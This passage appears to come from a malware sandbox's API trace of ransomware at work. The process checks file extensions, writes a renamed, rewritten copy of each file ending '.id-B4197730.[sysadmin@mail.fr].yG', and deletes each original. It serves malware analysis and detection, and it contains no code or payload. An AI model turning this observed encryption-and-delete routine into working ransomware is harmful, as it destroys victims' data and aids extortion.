	[0180.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0180.816] lstrlenW (lpString=".doc") returned 4
	[0180.816] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0180.816] lstrlenW (lpString=".docx") returned 5
	[0180.816] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0180.816] lstrlenW (lpString=".pdf") returned 4
	[0180.816] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0180.816] lstrlenW (lpString=".xls") returned 4
	[0180.816] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0180.816] lstrlenW (lpString=".xlsx") returned 5
	[0180.816] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0180.816] lstrlenW (lpString=".ppt") returned 4
	[0180.816] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0180.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0180.816] lstrlenW (lpString=".zip") returned 4
	[0180.816] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0180.816] lstrlenW (lpString=".rar") returned 4
	[0180.817] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0180.817] lstrlenW (lpString=".bz2") returned 4
	[0180.817] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0180.817] lstrlenW (lpString=".7z") returned 3
	[0180.817] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0180.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0180.817] lstrlenW (lpString=".dbf") returned 4
	[0180.817] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0180.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0180.817] lstrlenW (lpString=".1cd") returned 4
	[0180.817] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0180.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0180.817] lstrlenW (lpString=".jpg") returned 4
	[0180.817] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0180.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0180.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0180.817] lstrlenW (lpString=".doc") returned 4
	[0180.817] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0180.817] lstrlenW (lpString=".docx") returned 5
	[0180.818] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1
	[0180.818] lstrlenW (lpString=".pdf") returned 4
	[0180.818] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0180.818] lstrlenW (lpString=".xls") returned 4
	[0180.818] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0180.818] lstrlenW (lpString=".xlsx") returned 5
	[0180.818] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1
	[0180.818] lstrlenW (lpString=".ppt") returned 4
	[0180.818] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0180.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0180.818] lstrlenW (lpString=".zip") returned 4
	[0180.818] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0180.818] lstrlenW (lpString=".rar") returned 4
	[0180.818] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0180.818] lstrlenW (lpString=".bz2") returned 4
	[0180.818] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0180.818] lstrlenW (lpString=".7z") returned 3
	[0180.818] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0180.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0180.818] lstrlenW (lpString=".dbf") returned 4
	[0180.818] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0180.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0180.819] lstrlenW (lpString=".1cd") returned 4
	[0180.819] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0180.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll") returned 58
	[0180.819] lstrlenW (lpString=".jpg") returned 4
	[0180.826] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0180.826] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0180.826] lstrlenW (lpString="VSTOInstallerUI.dll") returned 19
	[0180.826] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0180.828] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=12448) returned 1
	[0180.828] CloseHandle (hObject=0x350) returned 1
	[0180.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20
	[0180.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0180.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0180.829] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.829] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0180.927] GetLastError () returned 0x0
	[0180.927] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x30a0, lpOverlapped=0x0) returned 1
	[0180.950] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x30b0, lpOverlapped=0x0) returned 1
	[0180.951] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.951] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0180.951] SetEndOfFile (hFile=0x35c) returned 1
	[0180.952] CloseHandle (hObject=0x35c) returned 1
	[0180.952] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.952] SetEndOfFile (hFile=0x350) returned 1
	[0180.955] CloseHandle (hObject=0x350) returned 1
	[0180.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0180.955] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1
	[0180.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0180.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0180.956] lstrlenW (lpString=".doc") returned 4
	[0180.956] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0180.956] lstrlenW (lpString=".docx") returned 5
	[0180.956] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0180.956] lstrlenW (lpString=".pdf") returned 4
	[0180.956] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0180.956] lstrlenW (lpString=".xls") returned 4
	[0180.956] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0180.956] lstrlenW (lpString=".xlsx") returned 5
	[0180.956] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0180.956] lstrlenW (lpString=".ppt") returned 4
	[0180.956] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0180.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0180.956] lstrlenW (lpString=".zip") returned 4
	[0180.956] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0180.956] lstrlenW (lpString=".rar") returned 4
	[0180.956] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0180.956] lstrlenW (lpString=".bz2") returned 4
	[0180.956] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0180.957] lstrlenW (lpString=".7z") returned 3
	[0180.957] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0180.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0180.957] lstrlenW (lpString=".dbf") returned 4
	[0180.957] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0180.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0180.957] lstrlenW (lpString=".1cd") returned 4
	[0180.957] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0180.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0180.957] lstrlenW (lpString=".jpg") returned 4
	[0180.957] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0180.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0180.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0180.957] lstrlenW (lpString=".doc") returned 4
	[0180.957] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0180.957] lstrlenW (lpString=".docx") returned 5
	[0180.957] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0180.957] lstrlenW (lpString=".pdf") returned 4
	[0180.957] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0180.957] lstrlenW (lpString=".xls") returned 4
	[0180.957] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0180.957] lstrlenW (lpString=".xlsx") returned 5
	[0180.957] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0180.957] lstrlenW (lpString=".ppt") returned 4
	[0180.957] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0180.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0180.957] lstrlenW (lpString=".zip") returned 4
	[0180.958] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0180.958] lstrlenW (lpString=".rar") returned 4
	[0180.958] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0180.958] lstrlenW (lpString=".bz2") returned 4
	[0180.958] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0180.958] lstrlenW (lpString=".7z") returned 3
	[0180.958] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0180.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0180.958] lstrlenW (lpString=".dbf") returned 4
	[0180.959] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0180.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0180.959] lstrlenW (lpString=".1cd") returned 4
	[0180.959] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0180.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0180.959] lstrlenW (lpString=".jpg") returned 4
	[0180.959] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0180.960] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0180.960] lstrlenW (lpString="VSTOInstaller.exe") returned 17
	[0180.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0180.960] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=100488) returned 1
	[0180.960] CloseHandle (hObject=0x350) returned 1
	[0180.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 0x20
	[0180.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0180.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0180.961] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.961] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.961] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0180.962] GetLastError () returned 0x0
	[0180.962] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x18888, lpOverlapped=0x0) returned 1
	[0181.007] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x18890, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x18890, lpOverlapped=0x0) returned 1
	[0181.011] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.011] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0181.011] SetEndOfFile (hFile=0x35c) returned 1
	[0181.012] CloseHandle (hObject=0x35c) returned 1
	[0181.012] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.012] SetEndOfFile (hFile=0x350) returned 1
	[0181.013] CloseHandle (hObject=0x350) returned 1
	[0181.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0181.014] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.exe")) returned 1
	[0181.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0181.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0181.015] lstrlenW (lpString=".doc") returned 4
	[0181.015] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0181.015] lstrlenW (lpString=".docx") returned 5
	[0181.015] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0181.015] lstrlenW (lpString=".pdf") returned 4
	[0181.015] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0181.015] lstrlenW (lpString=".xls") returned 4
	[0181.015] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0181.015] lstrlenW (lpString=".xlsx") returned 5
	[0181.015] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0181.015] lstrlenW (lpString=".ppt") returned 4
	[0181.016] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0181.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0181.016] lstrlenW (lpString=".zip") returned 4
	[0181.016] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0181.016] lstrlenW (lpString=".rar") returned 4
	[0181.016] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0181.016] lstrlenW (lpString=".bz2") returned 4
	[0181.016] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0181.016] lstrlenW (lpString=".7z") returned 3
	[0181.016] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0181.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0181.016] lstrlenW (lpString=".dbf") returned 4
	[0181.016] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0181.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0181.016] lstrlenW (lpString=".1cd") returned 4
	[0181.016] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0181.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0181.017] lstrlenW (lpString=".jpg") returned 4
	[0181.017] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0181.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0181.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0181.017] lstrlenW (lpString=".doc") returned 4
	[0181.017] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0181.020] lstrlenW (lpString=".docx") returned 5
	[0181.020] lstrcmpiW (lpString1=".docx", lpString2="r.exe") returned -1
	[0181.020] lstrlenW (lpString=".pdf") returned 4
	[0181.020] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0181.020] lstrlenW (lpString=".xls") returned 4
	[0181.020] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0181.020] lstrlenW (lpString=".xlsx") returned 5
	[0181.020] lstrcmpiW (lpString1=".xlsx", lpString2="r.exe") returned -1
	[0181.020] lstrlenW (lpString=".ppt") returned 4
	[0181.020] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0181.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0181.020] lstrlenW (lpString=".zip") returned 4
	[0181.020] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0181.020] lstrlenW (lpString=".rar") returned 4
	[0181.020] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0181.020] lstrlenW (lpString=".bz2") returned 4
	[0181.021] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0181.021] lstrlenW (lpString=".7z") returned 3
	[0181.021] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0181.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0181.021] lstrlenW (lpString=".dbf") returned 4
	[0181.021] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0181.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0181.021] lstrlenW (lpString=".1cd") returned 4
	[0181.021] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0181.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOInstaller.exe") returned 74
	[0181.021] lstrlenW (lpString=".jpg") returned 4
	[0181.021] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0181.021] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0181.021] lstrlenW (lpString="VSTOLoader.dll") returned 14
	[0181.022] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0181.022] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=367216) returned 1
	[0181.022] CloseHandle (hObject=0x350) returned 1
	[0181.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 0x20
	[0181.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0181.023] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.023] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0181.024] GetLastError () returned 0x0
	[0181.024] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x59a70, lpOverlapped=0x0) returned 1
	[0181.688] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0x59a80, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0x59a80, lpOverlapped=0x0) returned 1
	[0181.696] ReadFile (in: hFile=0x350, lpBuffer=0x405c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.696] WriteFile (in: hFile=0x35c, lpBuffer=0x405c020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x405c020*, lpNumberOfBytesWritten=0x365fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0181.697] SetEndOfFile (hFile=0x35c) returned 1
	[0181.697] CloseHandle (hObject=0x35c) returned 1
	[0181.697] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.697] SetEndOfFile (hFile=0x350) returned 1
	[0181.701] CloseHandle (hObject=0x350) returned 1
	[0181.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0181.701] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoloader.dll")) returned 1
	[0181.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0181.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOLoader.dll") returned 71
	[0181.702] lstrlenW (lpString=".doc") returned 4
